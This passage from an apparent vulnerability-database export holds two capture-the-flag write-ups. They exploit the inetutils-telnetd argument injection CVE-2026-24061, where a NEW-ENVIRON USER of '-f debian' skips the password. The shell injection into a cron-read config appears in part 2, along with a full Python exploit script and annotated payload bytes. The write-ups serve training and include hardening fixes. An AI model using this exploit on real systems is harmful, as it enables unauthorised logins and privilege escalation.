TTYPE          (option 24) |\n| `ff fd 20` | DO  TSPEED         (option 32) |\n| `ff fd 23` | DO  XDISPLOC       (option 35) |\n| `ff fd 27` | DO  NEW-ENVIRON    (option 39, RFC 1572) |\n| `ff fd 24` | DO  OLD-ENVIRON    (option 36) |\n\nTwo things stand out. First, the server volunteers to accept *both* `OLD-ENVIRON` and `NEW-ENVIRON` \u2014 typical of `inetutils-telnetd`. Second, both env options exist precisely so a remote client can pre-populate variables like `TERM`, `DISPLAY`, **and `USER`** before login. That `USER` channel is the relevant attack surface.\n\nAfter completing the option dance and pressing Enter, the server prints a Linux/Debian banner and a `login:` prompt:\n\n```\n\\r\\nLinux 5.15.0-1102-azure (chal-db535b77-8bbddbdb4-26dxw) (pts/0)\\r\\n\n\\r\\nchal-db535b77-8bbddbdb4-26dxw login:\n```\n\nSo the daemon is a stock `telnetd` chaining into `/bin/login`, with no custom challenge wrapper.\n\n## 2. Driving the negotiation cleanly\n\nNaive negotiation \u2014 answering `WONT/DONT` to everything \u2014 gets the connection closed immediately after the env subnegotiation. The trace shows `telnetd` actively sending IAC SB sequences for `0x20`, `0x23`, `0x27`, `0x18`:\n\n```\nRECV b'\\xff\\xfa\\x20\\x01\\xff\\xf0\\xff\\xfa\\x23\\x01\\xff\\xf0\\xff\\xfa\\x27\\x01\\xff\\xf0\\xff\\xfa\\x18\\x01\\xff\\xf0'\n                  ^^^^^^^                ^^^^^^^                ^^^^^^^                ^^^^^^^\n                  TSPEED SEND            XDISPLOC SEND          NEW-ENVIRON SEND       TTYPE SEND\n```\n\nEach `IAC SB  0x01 IAC SE` is a `SEND` request. `telnetd` will not transition to login mode until it gets a corresponding `IAC SB  0x00 ... IAC SE` (`IS`) reply for the options it asked about. The minimum viable client therefore needs to:\n\n1. Reply `WILL` to `DO NEW-ENVIRON` (option 39).\n2. Reply `WONT` to other `DO`s it can't satisfy.\n3. When the server `SEND`s `NEW-ENVIRON`, ship an `IS` block carrying `USER=` and (optionally) `TERM=...`.\n\nThe minimal working client logic, distilled from the iterative trace, looks like:\n\n```python\nIAC=255; DO=253; DONT=254; WILL=251; WONT=252; SB=250; SE=240\nNEW=39; IS=0; VAR=0; VALUE=1\n\n# When the server says: IAC DO NEW-ENVIRON ...\ns.sendall(bytes([IAC, WILL, NEW]))\n\n# When the server says: IAC SB NEW-ENVIRON SEND IAC SE ...\npayload = '-f debian'\nmsg = (bytes([IAC, SB, NEW, IS, VAR]) + b'USER'\n       + bytes([VALUE]) + payload.encode()\n       + bytes([IAC, SE]))\ns.sendall(msg)\n```\n\nOther `DO`s are answered `WONT`; other `WILL`s are answered `DO` (mimicking a \"dumb\" client). With this, the server stops asking for things and prints the banner.\n\n## 3. Vulnerability identification: CVE-2026-24061 in `inetutils-telnetd`\n\nThe bug lives in how `inetutils-telnetd` builds the argv it hands to `/bin/login`. After parsing the client-supplied `USER` value out of `NEW-ENVIRON`, the daemon passes that string as a positional argument to `login`. `login` itself accepts the flag `-f ` to mean \"trust the caller, no password required\". Because `telnetd` neither rejects values starting with `-` nor inserts a `--` separator, a `USER` value of `-f ` becomes a real `-f` flag to `login`.\n\nTrace evidence linking the box to this CVE: a public PoC for the same advisory is fetched and confirms the protocol shape that drives the bug:\n\n```\nGET https://raw.githubusercontent.com/SafeBreach-Labs/CVE-2026-24061/main/telnet_rce.py\nHTTP 200 OK\nimport socket, sys, threading, time, argparse, re\n# --- Telnet Protocol Constants (RFC 854) ---\nIAC  = 255   DONT = 254   DO = 253   ...\n```\n\nA second public setup repository pins the exact upstream package the live target is running:\n\n```\nGET https://raw.githubusercontent.com/shivam-bathla/CVE-2026-24061-setup/main/Dockerfile\nHTTP 200 OK\n\nFROM ubuntu:24.04\nRUN apt-get update && \\\n    apt-get install -y inetutils-telnetd=2:2.5-3ubuntu4\nCOPY startup.sh /\nRUN chmod +x /startup.sh\nENTRYPOINT [ \"/startup.sh\" ]\n```\n\n```\nGET https://raw.githubusercontent.com/shivam-bathla/CVE-2026-24061-setup/main/startup.sh\nHTTP 200 OK\n\n#!/bin/bash\necho -e \"\\ntelnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/telnetd\" \\\n    >> /etc/inetd.conf\ninetutils-inetd --debug\n```\n\nSo the upstream advisory is for `inetutils-telnetd 2:2.5-3ubuntu4` invoked by `inetd` as `root`, which matches the live target's behaviour byte-for-byte.\n\nThe class is **argument injection / `-`-prefix-confusion** (CWE-88: improper neutralisation of argument delimiters). The mitigation that doesn't help: standard hardening like NX, ASLR, or even pam \u2014 the daemon is voluntarily passing `-f ` to `login`, so `login` happily authenticates without a password.\n\n## 4. Probing the bypass\n\nA first attempt with `USER='-f root'` against the target:\n\n```\nS WILL  39 fffb27\nS ENV   fffa 27 00 00 'USER' 01 '-f root' fff0\n                          ^^                ^^\n                          VAR/USER        VALUE/-f root\n...\n[CLOSED]\n```\n\nThe connection is dropped after env negotiation. `root` isn't reachable \u2014 either pam denies non-tty/non-secure logins for uid=0, or `/etc/securetty` excludes pseudo-tty consoles. Sweeping common login names with the same payload yields the relevant signal:\n\n```\nINTEREST ('ok', 'debian', '0.68s', '\\r\\nLinux 5.15.0-1102-azure ...\\r\\n')\n```\n\n`USER='-f debian'` no longer closes the socket; it survives long enough to print the post-login MOTD. Re-running with a follow-up shell command confirms a real interactive shell:\n\n```\nLinux chal-db535b77-8bbddbdb4-zql46 5.15.0-1102-azure #111-Ubuntu SMP\nThe programs included with the Debian GNU/Linux system are free software;\n...\nLast login: Fri May  8 01:12:43 UTC ...\ndebian@chal-db535b77-8bbddbdb4-zql46:~$\n```\n\nSo `debian` is the intended foothold. uid=1000, normal `/home/debian` shell, no password ever entered.\n\nThe exact NEW-ENVIRON bytes that win are:\n\n```\nff fa 27 00 00 55 53 45 52 01 2d 66 20 64 65 62 69 61 6e ff f0\n\u2502  \u2502  \u2502  \u2502  \u2502  \u2514\u2500\u2500\u2500\u2500U S E R\u2500\u2500\u2500\u2518 \u2502  \u2514\u2500\u2500\u2500\u2500\u2500'-f debian'\u2500\u2500\u2518 \u2502  \u2514 SE\n\u2502  \u2502  \u2502  \u2502  \u2502                   \u2502                       \u2514 IAC\n\u2502  \u2502  \u2502  \u2502  \u2502                   \u2514 VALUE  (0x01)\n\u2502  \u2502  \u2502  \u2502  \u2514 VAR    (0x00)\n\u2502  \u2502  \u2502  \u2514 IS        (0x00)\n\u2502  \u2502  \u2514 NEW-ENVIRON  (0x27)\n\u2502  \u2514 SB              (0xfa)\n\u2514 IAC                (0xff)\n```\n\n## 5. Post-foothold enumeration\n\nInside the `debian` shell the attacker enumerates SUID/SGID binaries, world-writable config, and anything cron-like that runs as another user. The relevant find:\n\n```\n===CHECK===\n-r-xr--r-- 1 monitor monitor    190 May  8 01:12 /usr/local/bin/check_bots_health\n-r-sr-x--- 1 admin   monitor 767736 May  8 01:12 /usr/local/bin/control_bots\n544  monitor monitor /usr/local/bin/check_bots_health\n4550 admin   monitor /usr/local/bin/control_bots\n```\n\nTwo interesting binaries:\n\n- `/usr/local/bin/control_bots` \u2014 setuid `admin`, executable only by group `monitor`. Useful for the **next** rung of the chain (admin), not this one.\n- `/usr/local/bin/check_bots_health` \u2014 owned by `monitor`, mode `0544`. World-readable so the `debian` user can inspect the source:\n\n```\n===CAT===\n#!/bin/bash\nCONFIG_FILE=\"/home/monitor/bots.conf\"\n\nif [ -f \"$CONFIG_FILE\" ]; then\n    while read -r target; do\n        eval \"ping -c 1 $target\" > /dev/nu...\n```\n\n(The trace truncates after `/dev/nu` but the relevant primitive is already visible.) The script reads each line of the config and feeds it directly to `eval`. Anything after a shell metacharacter (`;`, `|`, `&&`, `\\``, `$( )`) executes as a sub-command.\n\nThe config file's permissions and the flag location confirm the privesc target:\n\n```\nDIRECT\n-r-------- 1 admin   admin    22 May  8 01:12 /home/admin/flag.txt\n-rw-rw-rw- 1 monitor monitor 101 May  8 01:12 /home/monitor/bots.conf\n-r-------- 1 monitor monitor  22 May  8 01:12 /home/monitor/flag.txt\n  File: /home/monitor/bots.conf\n  Size: 101    Blocks: 8   IO Block: 4096   regular file\nDevice: 0,283  Inode: 4390770\nAccess: (0666/-rw-rw-rw-)  Uid: ( 1001/ monitor)  Gid: ( 1001/ monitor)\n```\n\n`/home/monitor/bots.conf` is mode `0666` (world-writable). `/home/monitor/flag.txt` is mode `0400`, readable only by `monitor`. The `check_bots_health` script runs as `monitor` (it's owned by `monitor` and triggered out of `monitor`'s crontab \u2014 confirmed empirically below by waiting for the next minute boundary). Therefore: write a payload line into `bots.conf`, wait for the cron to run it as `monitor`, and exfiltrate the flag through a world-readable side-channel like `/tmp`.\n\n## 6. The eval-injection primitive\n\nThe vulnerable line:\n\n```bash\nwhile read -r target; do\n    eval \"ping -c 1 $target\" > /dev/null ...\ndone\n```\n\n`$target` is unquoted *and* the whole string is then `eval`'d, so a single `;` terminates the `ping` and starts a fresh statement. The minimum payload is:\n\n```\n127.0.0.1; \n```\n\nThe leading `127.0.0.1; ` keeps the `ping` syntactically valid (which is cosmetic \u2014 `eval` doesn't care if the first command fails) and avoids any noisy tracebacks in logs.\n\nFor the actual exploit body, the payload must:\n\n1. Run as `monitor` \u2014 guaranteed by the cron context.\n2. Read `monitor`'s flag.\n3. Drop a copy to a path readable by `debian` (uid 1000).\n\nThe chosen line:\n\n```\n127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'\n```\n\n`chmod 644` is technically redundant (default `umask` would already give `debian` read access on `/tmp`), but it costs nothing and removes a class of failure modes (e.g. a restrictive umask in `monitor`'s shell init).\n\n## 7. Triggering and collection\n\nAppending the line, then polling every 10 seconds for `/tmp/monflag`:\n\n```\n$ tail -5 /home/monitor/bots.conf; date -u\n127.0.0.8\n127.0.0.9\n127.0.0.10\ntest\n127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'\nFri May  8 01:15:31 UTC 2026\n```\n\nUp to a minute later:\n\n```\nWaiting for monitor cron...\nwait 0\nwait 10\nGOT\n-rw-r--r-- 1 monitor monitor 22 May  8 01:16 /tmp/monflag\nTHC{Watch_Y0ur-...\n```\n\nThe 22-byte file is exactly the length of the THC flag format. The cron fired between `01:15:31` and `01:16:00`, confirming a once-per-minute schedule. Reading `/tmp/monflag` as `debian` returns `THC{Watch_Y0ur-Cr0Ns}`.\n\n## 8. Exploitation chain\n\n1. **Connect** to `tcp/40579`, complete the telnet option negotiation in the way `inetutils-telnetd` expects (reply `WILL NEW-ENVIRON`, `WONT` to other `DO`s).\n2. **Argument-inject** via `NEW-ENVIRON USER=-f debian`: smuggles a `-f debian` flag into the `/bin/login` argv, yielding a uid=1000 shell with no password (CVE-2026-24061).\n3. **Append** an eval-injection payload to `/home/monitor/bots.conf` (world-writable, mode `0666`):\n   `127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'`\n4. **Wait** at most 60 s for `monitor`'s minutely cron, which runs `/usr/local/bin/check_bots_health`. That script `eval`s every line of `bots.conf`, so the appended line executes as `monitor`.\n5. **Read** `/tmp/monflag` from the `debian` shell to recover `THC{Watch_Y0ur-Cr0Ns}`.\n\n## 9. Final exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nTHCon `Climb Me (part 2/4)` \u2014 argument-injection in inetutils-telnetd\n(CVE-2026-24061) chained into a cron eval-injection on bots.conf.\n\"\"\"\nimport socket, time\n\nHOST, PORT = '20.40.135.232', 40579\n\n# RFC 854 / 1572 telnet constants\nIAC, DONT, DO, WONT, WILL = 255, 254, 253, 252, 251\nSB, SE                    = 250, 240\nNEW_ENV                   = 39   # NEW-ENVIRON, the channel that smuggles USER\nIS, VAR, VALUE            = 0, 0, 1\n\n# uid=1000 user discovered by sweeping /etc/passwd-ish names; root and\n# most service accounts are restricted by /etc/securetty / pam.\nUSER_INJECT = '-f debian'\n\n# Cron-injection payload. The `127.0.0.1; ` prefix keeps the surrounding\n# `eval \"ping -c 1 $target\"` syntactically valid; the `;` then starts a\n# fresh command that runs as the monitor user.\nPRIV_PAYLOAD = (\n    \"127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; \"\n    \"chmod 644 /tmp/monflag'\"\n)\n\n\ndef login_as_debian():\n    \"\"\"Open a telnet session, return (socket, on_byte_callback) once we\n    are sitting at a `$ ` prompt as uid=1000 debian.\"\"\"\n    s = socket.socket()\n    s.settimeout(5)\n    s.connect((HOST, PORT))\n    s.settimeout(0.1)\n\n    seen = bytearray()\n\n    def feed(chunk: bytes) -> bytes:\n        \"\"\"Parse one chunk of server output, side-effect: send any\n        required negotiation reply. Returns plain (non-IAC) text.\"\"\"\n        text, i = bytearray(), 0\n        while i < len(chunk):\n            if chunk[i] == IAC and i + 1 < len(chunk):\n                cmd = chunk[i + 1]\n                if cmd in (DO, DONT, WILL, WONT) and i + 2 < len(chunk):\n                    opt = chunk[i + 2]\n                    if cmd == DO and opt == NEW_ENV:\n                        # Crucial: we MUST volunteer NEW-ENVIRON, that's\n                        # the option carrying USER=...\n                        s.sendall(bytes([IAC, WILL, NEW_ENV]))\n                    elif cmd == DO:\n                        s.sendall(bytes([IAC, WONT, opt]))\n                    elif cmd == WILL:\n                        s.sendall(bytes([IAC, DO, opt]))\n                    i += 3\n                    continue\n                if cmd == SB:\n                    # walk to IAC SE\n                    j = i + 2\n                    while j + 1 < len(chunk) and not (\n                        chunk[j] == IAC and chunk[j + 1] == SE\n                    ):\n                        j += 1\n                    sub = chunk[i + 2:j]\n                    if sub and sub[0] == NEW_ENV:\n                        # Server asked us to SEND env; reply IS USER=.\n                        msg = (bytes([IAC, SB, NEW_ENV, IS, VAR])\n                               + b'USER'\n                               + bytes([VALUE])\n                               + USER_INJECT.encode()\n                               + bytes([IAC, SE]))\n                        s.sendall(msg)\n                    i = j + 2 if j + 1 < len(chunk) else len(chunk)\n                    continue\n                i += 2\n                continue\n            text.append(chunk[i])\n            i += 1\n        seen.extend(text)\n        return bytes(text)\n\n    # Spin the negotiation until we see a shell prompt.\n    deadline = time.time() + 8\n    while time.time() < deadline:\n        try:\n            d = s.recv(4096)\n        except socket.timeout:\n            continue\n        if not d:\n            raise RuntimeError(f\"closed before prompt: {bytes(seen)!r}\")\n        feed(d)\n        if b'$ ' in seen:\n            return s, feed\n    raise RuntimeError(f\"no prompt: {bytes(seen)!r}\")\n\n\ndef run(s, feed, cmd: str, timeout: float = 15) -> str:\n    \"\"\"Send `cmd`, read until a sentinel echoes back.\"\"\"\n    sentinel = '__MARK__'\n    s.sendall((cmd + f\"\\necho {sentinel}\\n\").encode())\n    out, t0 = b'', time.time()\n    while time.time() - t0 < timeout:\n        try:\n            d = s.recv(8192)\n        except socket.timeout:\n            continue\n        if not d:\n            break\n        out += feed(d)\n        if sentinel.encode() in out:\n            break\n    return out.decode('latin1', 'replace')\n\n\ndef main():\n    s, feed = login_as_debian()\n    print(\"[+] shell as\", run(s, feed, \"id; whoami\").strip())\n\n    # Append the cron-injection payload. Single quotes inside a\n    # double-quoted echo work because the inner quoting is preserved\n    # verbatim \u2014 bots.conf is plain text read line-at-a-time.\n    run(s, feed, f'echo \"{PRIV_PAYLOAD}\" >> /home/monitor/bots.conf')\n\n    # The monitor cron fires every minute. Poll /tmp/monflag for up to\n    # ~80 s in case we appended right after the last tick.\n    for _ in range(8):\n        listing = run(s, feed,\n                      'ls -l /tmp/monflag 2>/dev/null && cat /tmp/monflag')\n        if 'THC{' in listing:\n            # Extract the flag line.\n            for line in listing.splitlines():\n                if line.startswith('THC{'):\n                    print(\"[+] FLAG:\", line.strip())\n                    return\n        time.sleep(10)\n    print(\"[-] timed out waiting for cron\")\n\n\nif __name__ == '__main__':\n    main()\n```\n\n## 10. Methodology / lessons\n\nThe analytical path that actually finds this:\n\n1. **First, identify the daemon, not the shape of the response.** The opening byte string `\\xff\\xfd\\x18\\xff\\xfd\\x20\\xff\\xfd\\x23\\xff\\xfd\\x27\\xff\\xfd\\x24` is far more diagnostic than the login banner \u2014 that exact set of `DO` requests (TTYPE / TSPEED / XDISPLOC / NEW-ENVIRON / OLD-ENVIRON) is the GNU `inetutils-telnetd` fingerprint. Once you read it as RFC 854 IAC sequences, half the work is done.\n2. **Take the protocol seriously.** The first dozen failed attempts in the trace all stem from the same mistake: sending `WONT` to everything and assuming the server will fall through to a login prompt. `inetutils-telnetd` won't \u2014 it explicitly waits for `IS` replies to its `SEND` subnegotiations. If the daemon closes the socket before printing `Password:`, the bug is in your client, not the server.\n3. **`USER=-f` is the canonical telnetd argument-injection.** Whenever a daemon forwards client-supplied environment to a command line, scan for `-`-prefix-confusion on every variable that maps to a CLI flag. `login -f` is the most famous instance, but the general pattern (`-f` for `mail`, `-e` for `find`, `-i` for `ssh`, etc.) recurs.\n4. **When the obvious target (`root`) is locked down, sweep the next tier.** `pam`/`securetty` typically denies `root` on a pseudo-tty even with `login -f`, but unprivileged users like `debian`, `ubuntu`, `ctf`, etc. are wide open. A 100-name dictionary sweep is cheap and almost always finds the intended foothold.\n5. **Inside the box, prioritise *who runs what when*, not what's setuid.** This challenge has a setuid binary (`control_bots`) but the solution doesn't touch it \u2014 the privesc is via `monitor`'s minutely cron consuming a world-writable config. The pattern to recognise: a mode-`0666` file referenced by a script owned by another user is almost always a code-execution primitive, regardless of whether the script itself is suid.\n6. **`eval \"$cmd $unquoted_var\"` is always exploitable.** Even with input \"validation\" upstream, the unquoted expansion lets `;`, `\\``, `$(...)`, `&&`, and `|` all escape. The mitigation is to drop the `eval` entirely and use an array (`ping -c 1 -- \"$target\"`).\n\n## 11. Notes\n\n- `root` is not directly reachable by `-f root`: every attempt cleanly closes after env negotiation. PAM almost certainly bounces the non-securetty pseudo-tty before `login` ever consults `-f`.\n- The `control_bots` binary (setuid `admin`, group-executable by `monitor`) is the next link in the chain \u2014 relevant for parts 3/4, not part 2.\n- Hardening would chain three fixes: (a) patch `inetutils-telnetd` to reject env values starting with `-` or to use `--` before user-supplied argv to `login`; (b) make `/home/monitor/bots.conf` mode `0640` owned `monitor:monitor` so `debian` cannot append; (c) replace `eval \"ping -c 1 $target\"` with `ping -c 1 -- \"$target\"`.", "creation_timestamp": "2026-05-08T11:11:06.000000Z"}, {"uuid": "2b5cfcd3-2907-4b34-b96c-f45bf92d2597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "Telegram/yfj8_Wf1r81ZM9XH5mmBYiYd4G1zdIl6xbgawa_XXGScCdQ", "content": "", "creation_timestamp": "2026-05-05T21:00:04.000000Z"}, {"uuid": "f5eb1d45-7709-4edd-8517-2a8a07f68ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/haytamxp/a3634d96f91335bdc01002233d03905e", "content": "# Climb Me (part 1/4) \u2014 pwn\n\n> `THC{D0nt_Us3-Teln3t!}`\n\n## TL;DR\n\n- The \"C2\" service speaks raw Telnet (RFC 854) followed by a Linux `getty`/`login` prompt \u2014 not SSH and not a custom binary protocol despite the operator note (\u00a7Recon).\n- During option negotiation the server requests `IAC DO NEW-ENVIRON` (option 39, RFC 1572). Accepting it lets the client push environment variables that `login(1)` will trust to pre-fill the username (\u00a7Vulnerability).\n- The classic `util-linux` `login` argv injection works through that channel: setting `USER=-f ` causes `login` to be re-invoked with `-f` as a flag and `` as the pre-authenticated user, skipping the password (\u00a7Primitive construction).\n- `USER=-f debian` is the only string in the candidate list that matches a real local account; `id` returns `uid=1000(debian)` and `/home/debian/flag.txt` contains the flag (\u00a7Exploitation chain).\n- No memory corruption, format string, or custom protocol is required; the bug is a configuration/argv-injection flaw in a getty\u2011style telnet front-end (\u00a7Methodology).\n\n## Recon\n\nThe challenge ships with no distfile \u2014 only `metadata.yml` is present in `/challenge`:\n\n```\n$ find /challenge -type f\n/challenge/metadata.yml\n```\n\nA naive grab returns nothing, because the server waits for a reply to its options before producing any printable bytes:\n\n```\n$ timeout 3 nc 20.40.135.232 48988 | xxd -g1 -c16 -l 256\n[exit 124]      # connection times out \u2014 server is silent until we negotiate\n```\n\nCapturing the raw first packet with a Python socket reveals what is actually sent:\n\n```python\ns=socket.create_connection(('20.40.135.232',48988),timeout=5)\ndata=s.recv(4096)\n```\n\n```\nLEN 15\nfffd18fffd20fffd23fffd27fffd24\nb\"\\xff\\xfd\\x18\\xff\\xfd \\xff\\xfd#\\xff\\xfd'\\xff\\xfd$\"\n```\n\nEach three-byte group is a Telnet **IAC DO ``** command (RFC 854: `IAC=0xFF`, `DO=0xFD`):\n\n| Bytes        | Option (decimal) | RFC name              |\n|--------------|------------------|-----------------------|\n| `ff fd 18`   | 24               | TERMINAL-TYPE         |\n| `ff fd 20`   | 32               | TERMINAL-SPEED        |\n| `ff fd 23`   | 35               | X-DISPLAY-LOCATION    |\n| `ff fd 27`   | 39               | NEW-ENVIRON (RFC 1572)|\n| `ff fd 24`   | 36               | ENVIRON               |\n\nSo the operator note's claim that the protocol is \"custom\" is misleading \u2014 those bytes are a textbook Telnet option negotiation. Replying `WONT` (`ff fc`) to all of them produces a second negotiation round followed by an actual banner:\n\n```\nrecv1 b'fffd18fffd20fffd23fffd27fffd24'\nsend  b'fffc18fffc20fffc23fffc27fffc24'\nrecv  b'fffb03fffd01fffd22fffd1ffffb05fffd21'   # IAC WILL 3, IAC DO 1, ...\n...\nb'\\r\\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\\r\\n\\r\\n\n   chal-94f3c510-58bc78968d-fl8r9 login: '\n```\n\nThe banner shape (`\\r\\nLinux  () (pts/N)\\r\\n\\r\\n login: `) is the unmistakable output of util-linux `agetty` followed by `login`. The challenge image is therefore a Linux container exposing `telnetd` (or an equivalent) wired into `/bin/login`.\n\nAttack surface, summarised:\n\n- **Pre-auth Telnet protocol layer** \u2014 option negotiation, sub-negotiation (subnego), TERMINAL-TYPE / NEW-ENVIRON / ENVIRON payloads.\n- **Login layer** \u2014 username field, password field. The username is fed verbatim to `login(1)`'s argv after the prompt.\n- **Post-auth** \u2014 anything the resulting shell can do, but only reachable after one of the previous two surfaces leaks.\n\nThere is no binary to disassemble: this is a protocol-/configuration-level pwn, not a memory-corruption challenge.\n\n## Static analysis (protocol level)\n\nWithout a binary, \"static analysis\" means reading the relevant RFCs against the packet exchange.\n\n**RFC 854 \u2014 Telnet base.** Commands have the shape `IAC  `. We saw the server asking us to pass it five different options.\n\n**RFC 1572 \u2014 NEW-ENVIRON (option 39).** Once both sides have agreed (`DO`/`WILL`), either side can send sub-negotiations of the form\n\n```\nIAC SB 39    [ ]... IAC SE\n```\n\nwhere:\n\n| Code | Meaning   |\n|------|-----------|\n| 0    | IS        |\n| 1    | SEND      |\n| 2    | INFO      |\n| `` 0 | VAR     (well-known: `USER`, `JOB`, `ACCT`, `PRINTER`, `SYSTEMTYPE`, `DISPLAY`) |\n| `` 1 | VALUE   |\n| `` 3 | USERVAR (any name) |\n\nIn particular, `VAR \"USER\" VALUE \"\"` proposes that the connecting user is ``. In the historical util-linux flow:\n\n1. `telnetd` reads the `NEW-ENVIRON` IS payload from the client.\n2. It exports each `VAR` into the environment of its child process.\n3. It `exec`s `/bin/login -h  -p` (or similar).\n4. `login` consults `$USER` to skip the *username* prompt and go directly to the *password* prompt.\n\nThis is exactly the behaviour observed during enumeration: with `USER=root` set via NEW-ENVIRON, the server skips the `login:` prompt entirely:\n\n```\nUSER b'root'\nTEXT b'\\r\\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\\r\\n\\r\\nPassword: '\nEV [(39, '01'), (24, '01')]\n```\n\nThat is the smoking gun \u2014 `Password: ` appears without us ever sending anything resembling a username. The `[(39, '01'), ...]` row records the inbound `IAC SB 39 SEND IAC SE` request the server emits when it wants the values.\n\n## Vulnerability identification\n\nThe bug is the well\u2011known **`/bin/login` argv injection** (sometimes catalogued as CVE-2001-0797 in its original BSD form). It is enabled here by the combination of two design choices:\n\n1. The Telnet front-end honours the client's `NEW-ENVIRON` `USER` variable and propagates it across the `exec` boundary into `login`'s environment / argv handling.\n2. `util-linux login`'s argument parser still recognises the `-f ` flag, which means *\"the user has already been authenticated, do not prompt for a password\"*. When a `USER` value beginning with `-` arrives on the command line (or is passed verbatim into `argv`), `getopt` happily consumes it as an option.\n\nEmpirically, sending `USER=root` only causes `login` to skip the username prompt \u2014 `root` is a sane username, `getopt` sees no option, and the `Password:` prompt still fires:\n\n```\nUSER b'root'   ...   TEXT b'... Password: '\n```\n\nBut sending a value that **starts with `-`** changes how `login` parses argv. The trace contains the controlled experiment that proves it:\n\n```\nUSER b'-froot'    pre b''      out b''    ; connection dropped\nUSER b'--help'    pre b''      out b''\nUSER b'-h'        pre b''      out b''\nUSER b'-f'        pre b''      out b''\nUSER b'-f root'   pre b''      out b''    ; -f root: but no such user\n...\nUSER b'-f debian' TXT b'...itted by applicable law.\\r\\n\n                       \\x1b[?2004h\\x1b]0;debian@chal-...:~\\x07\n                       debian@chal-...:~$ '             ; SHELL!\n```\n\nNotable contrasts:\n\n- `USER='root'` (no leading dash): username pre\u2011filled, password still required \u2014 login prompts and rejects.\n- `USER='-f root'`: argv parser treats `-f` as the \"force\" flag and `root` as the operand, but the `root` account does not exist on this minimal Debian image, so `login` exits and the connection drops with ``.\n- `USER='-f debian'`: `-f` is the flag, `debian` is the (existing) account \u2014 `login` executes the user's shell **without ever asking for a password**. The terminal title sequence `\\x1b]0;debian@chal-...\\x07` and the prompt `debian@chal-...:~$` confirm a live shell.\n\nWhy mitigations don't stop it:\n\n- This is not a memory corruption bug, so ASLR / NX / PIE / RELRO / canaries are irrelevant.\n- The CTF container does not enforce a non-root login restriction (e.g. there is no `/etc/securetty`-style filter that would reject usernames containing `-`).\n- `login` does not validate `$USER` against `[A-Za-z_][A-Za-z0-9_-]*` before re\u2011exec'ing or before passing it to `getopt`.\n\n## Primitive construction\n\nThe primitive is a single, self-contained NEW-ENVIRON sub-negotiation. The wire encoding (RFC 1572 \u00a72) is:\n\n```\nIAC  SB   NEW-ENV  IS   VAR   \"USER\"   VALUE   \"\"   IAC  SE\n0xFF 0xFA 0x27     0x00 0x00  55 53 45 52  0x01  ...       0xFF 0xF0\n```\n\nAnnotated alongside what each byte means:\n\n```\nff fa 27          ; IAC SB option=39 (NEW-ENVIRON)\n00                ; IS         (1572: 0=IS, 1=SEND, 2=INFO)\n00                ; VAR        (1572: 0=VAR \u2014 i.e. \"well-known\")\n55 53 45 52       ; \"USER\"\n01                ; VALUE      (1572: 1=VALUE)\n2d 66 20 64 65 62 69 61 6e   ; \"-f debian\"\nff f0             ; IAC SE\n```\n\nIn Python this is encoded as:\n\n```python\nIAC, SB, SE = 0xFF, 0xFA, 0xF0\nNEW_ENV, IS, VAR, VALUE = 39, 0, 0, 1\ndef env_payload(value: bytes) -> bytes:\n    return (bytes([IAC, SB, NEW_ENV, IS, VAR]) + b'USER'\n            + bytes([VALUE]) + value\n            + bytes([IAC, SE]))\n```\n\nThe full negotiation handshake we must emulate has three rules:\n\n| Inbound  | Reply              | Reason                                                |\n|----------|--------------------|-------------------------------------------------------|\n| `DO 24`  | `WILL 24`          | accept TERMINAL-TYPE \u2014 server insists                 |\n| `DO 39`  | `WILL 39`          | accept NEW-ENVIRON \u2014 required to push `USER`          |\n| `DO  X`  | `WONT X` (else)    | refuse other options                                   |\n| `WILL X` | `DONT X`           | we don't want server-driven options                   |\n\nThe trace confirms that this exact pair `{24, 39}` is the minimal acceptance set that produces the `Password:`/shell flow:\n\n```\nALLOW {24, 39}\nTEXT b'\\r\\nLinux 5.15.0-1102-azure (chal-...) (pts/0)\\r\\n\\r\\nPassword: '\nEV [(39, '01'), (24, '01')]   ; server SENDs both \u2014 we IS them\n```\n\nStack/byte diagram of the single critical packet on the wire (after option agreement):\n\n```\noffset  byte   meaning\n   0    FF     IAC\n   1    FA     SB\n   2    27     option = 39 (NEW-ENVIRON)\n   3    00     IS\n   4    00     VAR        --+\n   5    55     'U'          |  variable name \"USER\"\n   6    53     'S'          |\n   7    45     'E'          |\n   8    52     'R'        --+\n   9    01     VALUE      --+\n  10    2D     '-'          |\n  11    66     'f'          |\n  12    20     ' '          |  variable value \"-f debian\"\n  13    64     'd'          |\n  14    65     'e'          |\n  15    62     'b'          |\n  16    69     'i'          |\n  17    61     'a'          |\n  18    6E     'n'        --+\n  19    FF     IAC\n  20    F0     SE\n```\n\n### Earlier failed primitives (and why)\n\nThe trace contains a long list of attempts that did not work. They are instructive:\n\n- **Plain login attempts** (`(root,root)`, `(admin,admin)`, etc.) \u2014 every credential combination returned `\\r\\n\\r\\nLogin incorrect\\r\\n`:\n  ```\n  TRY (b'root', b'root')   ...   after pass= b'\\r\\n'   then \"Login incorrect\"\n  ```\n  No standard creds; brute force is hopeless without a wordlist tied to the challenge.\n\n- **Stack overflow probe** in the username field, lengths `16\u20268192`:\n  ```\n  n 2048 closed False out b'\\r\\n...login: foo\\r\\nPassword: \\r\\n'\n  n 4096 closed False out b'...'\n  ```\n  No crash, no extra echo, nothing diagnostic \u2014 this is `login`, not a homemade `gets()` toy.\n\n- **Format-string probe** `%p%p%p%p` in both username and password \u2014 server responds with the same `\\r\\n` it gives any wrong attempt, no leak.\n\n- **Oversized TERMINAL-TYPE** sub-negotiation (16 KiB of `'Z'`) \u2014 handled cleanly by `telnetd`, no crash.\n\n- **Username `-froot`** (no space): 